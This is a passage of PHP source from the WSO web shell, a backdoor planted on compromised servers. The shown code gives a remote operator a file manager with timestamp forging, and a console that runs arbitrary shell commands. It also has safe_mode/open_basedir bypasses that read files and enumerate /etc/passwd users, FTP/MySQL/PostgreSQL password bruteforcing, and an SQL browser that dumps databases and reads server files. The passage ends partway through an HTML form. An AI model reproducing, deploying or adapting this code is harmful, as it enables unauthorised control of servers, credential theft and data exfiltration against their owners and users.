544 else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
545 }
546 usort($files, "wsoCmp");
547 usort($dirs, "wsoCmp");
548 $files = array_merge($dirs, $files);
549 $l = 0;
550 foreach ($files as $f) {
551 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
552 $l = $l ? 0 : 1;
553 }
554 echo "<tr><td colspan=7>
555 <input type=hidden name=a value='FilesMan'>
556 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
557 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
558 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
559 if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
560 echo "<option value='tar'>Compress (tar.gz)</option>";
561 if (!empty($_SESSION['act']) && @count($_SESSION['f'])) echo "<option value='paste'>Paste / Compress</option>";
562 echo "</select> ";
563 if (!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
564 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
565 wsoFooter();
566 }
567 function actionStringTools() {
568 if (!function_exists('hex2bin')) {
569 function hex2bin($p) {
570 return decbin(hexdec($p));
571 }
572 }
573 if (!function_exists('binhex')) {
574 function binhex($p) {
575 return dechex(bindec($p));
576 }
577 }
578 if (!function_exists('hex2ascii')) {
579 function hex2ascii($p) {
580 $r = '';
581 for ($i = 0;$i < strLen($p);$i+= 2) {
582 $r.= chr(hexdec($p[$i] . $p[$i + 1]));
583 }
584 return $r;
585 }
586 }
587 if (!function_exists('ascii2hex')) {
588 function ascii2hex($p) {
589 $r = '';
590 for ($i = 0;$i < strlen($p);++$i) $r.= sprintf('%02X', ord($p[$i]));
591 return strtoupper($r);
592 }
593 }
594 if (!function_exists('full_urlencode')) {
595 function full_urlencode($p) {
596 $r = '';
597 for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i]));
598 return strtoupper($r);
599 }
600 }
601 $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen',);
602 if (isset($_POST['ajax'])) {
603 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
604 ob_start();
605 if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
606 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
607
608 \'") . "';
609";
610 echo strlen($temp), "
611", $temp;
612 exit;
613 }
614 wsoHeader();
615 echo '<h1>String conversions</h1><div class=content>';
616 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
617 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
618 foreach ($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
619 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
620 if (!empty($_POST['p1'])) {
621 if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
622 }
623 echo "</pre></div><br><h1>Search text in files:</h1><div class=content>
624 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
625 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
626 <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
627 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
628 <tr><td></td><td><input type='submit' value='>>'></td></tr>
629 </table></form>";
630 function wsoRecursiveGlob($path) {
631 if (substr($path, -1) != '/') $path.= '/';
632 $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
633 if (is_array($paths) && @count($paths)) {
634 foreach ($paths as $item) {
635 if (@is_dir($item)) {
636 if ($path != $item) wsoRecursiveGlob($item);
637 } else {
638 if (@strpos(@file_get_contents($item), @$_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\")'>" . htmlspecialchars($item) . "</a><br>";
639 }
640 }
641 }
642 }
643 if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
644 echo "</div><br><h1>Search for hash:</h1><div class=content>
645 <form method='post' target='_blank' name='hf'>
646 <input type='text' name='hash' style='width:200px;'><br>
647 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
648 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
649 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
650 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
651 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
652 </form></div>";
653 wsoFooter();
654 }
655 function actionFilesTools() {
656 if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
657 if (@$_POST['p2'] == 'download') {
658 if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
659 ob_start("ob_gzhandler", 4096);
660 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
661 if (function_exists("mime_content_type")) {
662 $type = @mime_content_type($_POST['p1']);
663 header("Content-Type: " . $type);
664 } else header("Content-Type: application/octet-stream");
665 $fp = @fopen($_POST['p1'], "r");
666 if ($fp) {
667 while (!@feof($fp)) echo @fread($fp, 1024);
668 fclose($fp);
669 }
670 }
671 exit;
672 }
673 if (@$_POST['p2'] == 'mkfile') {
674 if (!file_exists($_POST['p1'])) {
675 $fp = @fopen($_POST['p1'], 'w');
676 if ($fp) {
677 $_POST['p2'] = "edit";
678 fclose($fp);
679 }
680 }
681 }
682 wsoHeader();
683 echo '<h1>File tools</h1><div class=content>';
684 if (!file_exists(@$_POST['p1'])) {
685 echo 'File not exists';
686 wsoFooter();
687 return;
688 }
689 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
690 if (!$uid) {
691 $uid['name'] = @fileowner($_POST['p1']);
692 $gid['name'] = @filegroup($_POST['p1']);
693 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
694 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
695 echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
696 if (empty($_POST['p2'])) $_POST['p2'] = 'view';
697 if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
698 else $m = array('Chmod', 'Rename', 'Touch');
699 foreach ($m as $v) echo '<a href=# onclick="g(null,null,null,\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
700 echo '<br><br>';
701 switch ($_POST['p2']) {
702 case 'view':
703 echo '<pre class=ml1>';
704 $fp = @fopen($_POST['p1'], 'r');
705 if ($fp) {
706 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
707 @fclose($fp);
708 }
709 echo '</pre>';
710 break;
711 case 'highlight':
712 if (@is_readable($_POST['p1'])) {
713 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
714 $code = @highlight_file($_POST['p1'], true);
715 echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
716 }
717 break;
718 case 'chmod':
719 if (!empty($_POST['p3'])) {
720 $perms = 0;
721 for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
722 if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
723 }
724 clearstatcache();
725 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
726 break;
727 case 'edit':
728 if (!is_writable($_POST['p1'])) {
729 echo 'File isn\'t writeable';
730 break;
731 }
732 if (!empty($_POST['p3'])) {
733 $time = @filemtime($_POST['p1']);
734 $_POST['p3'] = substr($_POST['p3'], 1);
735 $fp = @fopen($_POST['p1'], "w");
736 if ($fp) {
737 @fwrite($fp, $_POST['p3']);
738 @fclose($fp);
739 echo 'Saved!<br><script>p3_="";</script>';
740 @touch($_POST['p1'], $time, $time);
741 }
742 }
743 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
744 $fp = @fopen($_POST['p1'], 'r');
745 if ($fp) {
746 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
747 @fclose($fp);
748 }
749 echo '</textarea><input type=submit value=">>"></form>';
750 break;
751 case 'hexdump':
752 $c = @file_get_contents($_POST['p1']);
753 $n = 0;
754 $h = array('00000000<br>', '', '');
755 $len = strlen($c);
756 for ($i = 0;$i < $len;++$i) {
757 $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
758 switch (ord($c[$i])) {
759 case 0:
760 $h[2].= ' ';
761 break;
762 case 9:
763 $h[2].= ' ';
764 break;
765 case 10:
766 $h[2].= ' ';
767 break;
768 case 13:
769 $h[2].= ' ';
770 break;
771 default:
772 $h[2].= $c[$i];
773 break;
774 }
775 $n++;
776 if ($n == 32) {
777 $n = 0;
778 if ($i + 1 < $len) {
779 $h[0].= sprintf('%08X', $i + 1) . '<br>';
780 }
781 $h[1].= '<br>';
782 $h[2].= "
783";
784 }
785 }
786 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
787 break;
788 case 'rename':
789 if (!empty($_POST['p3'])) {
790 if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br>';
791 else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
792 }
793 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
794 break;
795 case 'touch':
796 if (!empty($_POST['p3'])) {
797 $time = strtotime($_POST['p3']);
798 if ($time) {
799 if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
800 else echo 'Touched!';
801 } else echo 'Bad time format!';
802 }
803 clearstatcache();
804 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
805 break;
806 }
807 echo '</div>';
808 wsoFooter();
809 }
810 function actionSafeMode() {
811 $temp = '';
812 ob_start();
813 switch ($_POST['p1']) {
814 case 1:
815 $temp = @tempnam($test, 'cx');
816 if (@copy("compress.zlib://" . $_POST['p2'], $temp)) {
817 echo @file_get_contents($temp);
818 unlink($temp);
819 } else echo 'Sorry... Can\'t open file';
820 break;
821 case 2:
822 $files = glob($_POST['p2'] . '*');
823 if (is_array($files)) foreach ($files as $filename) echo $filename . "
824";
825 break;
826 case 3:
827 $ch = curl_init("file://" . $_POST['p2'] . "" . preg_replace('!\(\d+\)\s.*!', '', 'index.php'));
828 curl_exec($ch);
829 break;
830 case 4:
831 ini_restore("safe_mode");
832 ini_restore("open_basedir");
833 include ($_POST['p2']);
834 break;
835 case 5:
836 for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
837 $uid = @posix_getpwuid($_POST['p2']);
838 if ($uid) echo join(':', $uid) . "
839";
840 }
841 break;
842 }
843 $temp = ob_get_clean();
844 wsoHeader();
845 echo '<h1>Safe mode bypass</h1><div class=content>';
846 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
847 if ($temp) echo '<pre class="ml1" style="margin-top:5px" id="Output">' . htmlspecialchars($temp) . '</pre>';
848 echo '</div>';
849 wsoFooter();
850 }
851 function actionConsole() {
852 if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
853 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] = true;
854 $_POST['p1'].= ' 2>&1';
855 } elseif (!empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] = false;
856 if (isset($_POST['ajax'])) {
857 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
858 ob_start();
859 echo "d.cf.cmd.value='';
860";
861 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
862$ " . $_POST['p1'] . "
863" . wsoEx($_POST['p1']), "
864
865 \'"));
866 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
867 if (@chdir($match[1])) {
868 $GLOBALS['cwd'] = @getcwd();
869 echo "c_='" . $GLOBALS['cwd'] . "';";
870 }
871 }
872 echo "d.cf.output.value+='" . $temp . "';";
873 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
874 $temp = ob_get_clean();
875 echo strlen($temp), "
876", $temp;
877 exit;
878 }
879 wsoHeader();
880 echo "<script>
881if(window.Event) window.captureEvents(Event.KEYDOWN);
882var cmds = new Array('');
883var cur = 0;
884function kp(e) {
885 var n = (window.Event) ? e.which : e.keyCode;
886 if(n == 38) {
887 cur--;
888 if(cur>=0)
889 document.cf.cmd.value = cmds[cur];
890 else
891 cur++;
892 } else if(n == 40) {
893 cur++;
894 if(cur < cmds.length)
895 document.cf.cmd.value = cmds[cur];
896 else
897 cur--;
898 }
899}
900function add(cmd) {
901 cmds.pop();
902 cmds.push(cmd);
903 cmds.push('');
904 cur = cmds.length-1;
905}
906</script>";
907 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
908 foreach ($GLOBALS['aliases'] as $n => $v) {
909 if ($v == '') {
910 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
911 continue;
912 }
913 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
914 }
915 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
916 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
917 if (!empty($_POST['p1'])) {
918 echo htmlspecialchars("$ " . $_POST['p1'] . "
919" . wsoEx($_POST['p1']));
920 }
921 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
922 echo '</form></div><script>d.cf.cmd.focus();</script>';
923 wsoFooter();
924 }
925 function actionLogout() {
926 session_destroy();
927 die('bye!');
928 }
929 function actionSelfRemove() {
930 if ($_POST['p1'] == 'yes') if (@unlink(preg_replace('!\(\d+\)\s.*!', '', 'index.php'))) die('Shell has been removed');
931 else echo 'unlink error!';
932 if ($_POST['p1'] != 'yes') wsoHeader();
933 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
934 wsoFooter();
935 }
936 function actionBruteforce() {
937 wsoHeader();
938 if (isset($_POST['proto'])) {
939 echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
940 if ($_POST['proto'] == 'ftp') {
941 function bruteForce($ip, $port, $login, $pass) {
942 $fp = @ftp_connect($ip, $port ? $port : 21);
943 if (!$fp) return false;
944 $res = @ftp_login($fp, $login, $pass);
945 @ftp_close($fp);
946 return $res;
947 }
948 } elseif ($_POST['proto'] == 'mysql') {
949 function bruteForce($ip, $port, $login, $pass) {
950 $res = @mysql_connect($ip . ':' . $port ? $port : 3306, $login, $pass);
951 @mysql_close($res);
952 return $res;
953 }
954 } elseif ($_POST['proto'] == 'pgsql') {
955 function bruteForce($ip, $port, $login, $pass) {
956 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
957 $res = @pg_connect($str);
958 @pg_close($res);
959 return $res;
960 }
961 }
962 $success = 0;
963 $attempts = 0;
964 $server = explode(":", $_POST['server']);
965 if ($_POST['type'] == 1) {
966 $temp = @file('/etc/passwd');
967 if (is_array($temp)) foreach ($temp as $line) {
968 $line = explode(":", $line);
969 ++$attempts;
970 if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
971 $success++;
972 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
973 }
974 if (@$_POST['reverse']) {
975 $tmp = "";
976 for ($i = strlen($line[0]) - 1;$i >= 0;--$i) $tmp.= $line[0][$i];
977 ++$attempts;
978 if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
979 $success++;
980 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
981 }
982 }
983 }
984 } elseif ($_POST['type'] == 2) {
985 $temp = @file($_POST['dict']);
986 if (is_array($temp)) foreach ($temp as $line) {
987 $line = trim($line);
988 ++$attempts;
989 if (bruteForce($server[0], @$server[1], $_POST['login'], $line)) {
990 $success++;
991 echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
992 }
993 }
994 }
995 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
996 }
997 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
998 echo '</div><br>';
999 wsoFooter();
1000 }
1001 function actionSql() {
1002 class DbClass {
1003 var $type;
1004 var $link;
1005 var $res;
1006 function DbClass($type) {
1007 $this->type = $type;
1008 }
1009 function connect($host, $user, $pass, $dbname) {
1010 switch ($this->type) {
1011 case 'mysql':
1012 if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
1013 break;
1014 case 'pgsql':
1015 $host = explode(':', $host);
1016 if (!$host[1]) $host[1] = 5432;
1017 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
1018 break;
1019 }
1020 return false;
1021 }
1022 function selectdb($db) {
1023 switch ($this->type) {
1024 case 'mysql':
1025 if (@mysql_select_db($db)) return true;
1026 break;
1027 }
1028 return false;
1029 }
1030 function query($str) {
1031 switch ($this->type) {
1032 case 'mysql':
1033 return $this->res = @mysql_query($str);
1034 break;
1035 case 'pgsql':
1036 return $this->res = @pg_query($this->link, $str);
1037 break;
1038 }
1039 return false;
1040 }
1041 function fetch() {
1042 $res = func_num_args() ? func_get_arg(0) : $this->res;
1043 switch ($this->type) {
1044 case 'mysql':
1045 return @mysql_fetch_assoc($res);
1046 break;
1047 case 'pgsql':
1048 return @pg_fetch_assoc($res);
1049 break;
1050 }
1051 return false;
1052 }
1053 function listDbs() {
1054 switch ($this->type) {
1055 case 'mysql':
1056 return $this->query("SHOW databases");
1057 break;
1058 case 'pgsql':
1059 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1060 break;
1061 }
1062 return false;
1063 }
1064 function listTables() {
1065 switch ($this->type) {
1066 case 'mysql':
1067 return $this->res = $this->query('SHOW TABLES');
1068 break;
1069 case 'pgsql':
1070 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1071 break;
1072 }
1073 return false;
1074 }
1075 function error() {
1076 switch ($this->type) {
1077 case 'mysql':
1078 return @mysql_error();
1079 break;
1080 case 'pgsql':
1081 return @pg_last_error();
1082 break;
1083 }
1084 return false;
1085 }
1086 function setCharset($str) {
1087 switch ($this->type) {
1088 case 'mysql':
1089 if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
1090 else $this->query('SET CHARSET ' . $str);
1091 break;
1092 case 'pgsql':
1093 return @pg_set_client_encoding($this->link, $str);
1094 break;
1095 }
1096 return false;
1097 }
1098 function loadFile($str) {
1099 switch ($this->type) {
1100 case 'mysql':
1101 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1102 break;
1103 case 'pgsql':
1104 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1105 $r = array();
1106 while ($i = $this->fetch()) $r[] = $i['file'];
1107 $this->query('drop table wso2');
1108 return array('file' => implode("
1109", $r));
1110 break;
1111 }
1112 return false;
1113 }
1114 function dump($table, $fp = false) {
1115 switch ($this->type) {
1116 case 'mysql':
1117 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1118 $create = mysql_fetch_array($res);
1119 $sql = $create[1] . ";
1120";
1121 if ($fp) fwrite($fp, $sql);
1122 else echo ($sql);
1123 $this->query('SELECT * FROM `' . $table . '`');
1124 $head = true;
1125 while ($item = $this->fetch()) {
1126 $columns = array();
1127 foreach ($item as $k => $v) {
1128 if ($v == null) $item[$k] = "NULL";
1129 elseif (is_numeric($v)) $item[$k] = $v;
1130 else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1131 $columns[] = "`" . $k . "`";
1132 }
1133 if ($head) {
1134 $sql = 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES
1135 (" . implode(", ", $item) . ')';
1136 $head = false;
1137 } else $sql = "
1138 ,(" . implode(", ", $item) . ')';
1139 if ($fp) fwrite($fp, $sql);
1140 else echo ($sql);
1141 }
1142 if (!$head) if ($fp) fwrite($fp, ";
1143
1144");
1145 else echo (";
1146
1147");
1148 break;
1149 case 'pgsql':
1150 $this->query('SELECT * FROM ' . $table);
1151 while ($item = $this->fetch()) {
1152 $columns = array();
1153 foreach ($item as $k => $v) {
1154 $item[$k] = "'" . addslashes($v) . "'";
1155 $columns[] = $k;
1156 }
1157 $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1158";
1159 if ($fp) fwrite($fp, $sql);
1160 else echo ($sql);
1161 }
1162 break;
1163 }
1164 return false;
1165 }
1166 };
1167 $db = new DbClass($_POST['type']);
1168 if (@$_POST['p2'] == 'download') {
1169 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1170 $db->selectdb($_POST['sql_base']);
1171 switch ($_POST['charset']) {
1172 case "Windows-1251":
1173 $db->setCharset('cp1251');
1174 break;
1175 case "UTF-8":
1176 $db->setCharset('utf8');
1177 break;
1178 case "KOI8-R":
1179 $db->setCharset('koi8r');
1180 break;
1181 case "KOI8-U":
1182 $db->setCharset('koi8u');
1183 break;
1184 case "cp866":
1185 $db->setCharset('cp866');
1186 break;
1187 }
1188 if (empty($_POST['file'])) {
1189 ob_start("ob_gzhandler", 4096);
1190 header("Content-Disposition: attachment; filename=dump.sql");
1191 header("Content-Type: text/plain");
1192 foreach ($_POST['tbl'] as $v) $db->dump($v);
1193 exit;
1194 } elseif ($fp = @fopen($_POST['file'], 'w')) {
1195 foreach ($_POST['tbl'] as $v) $db->dump($v, $fp);
1196 fclose($fp);
1197 unset($_POST['p2']);
1198 } else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1199 }
1200 wsoHeader();
1201 echo "
1202<h1>Sql browser</h1><div class=content>
1203<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1204<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
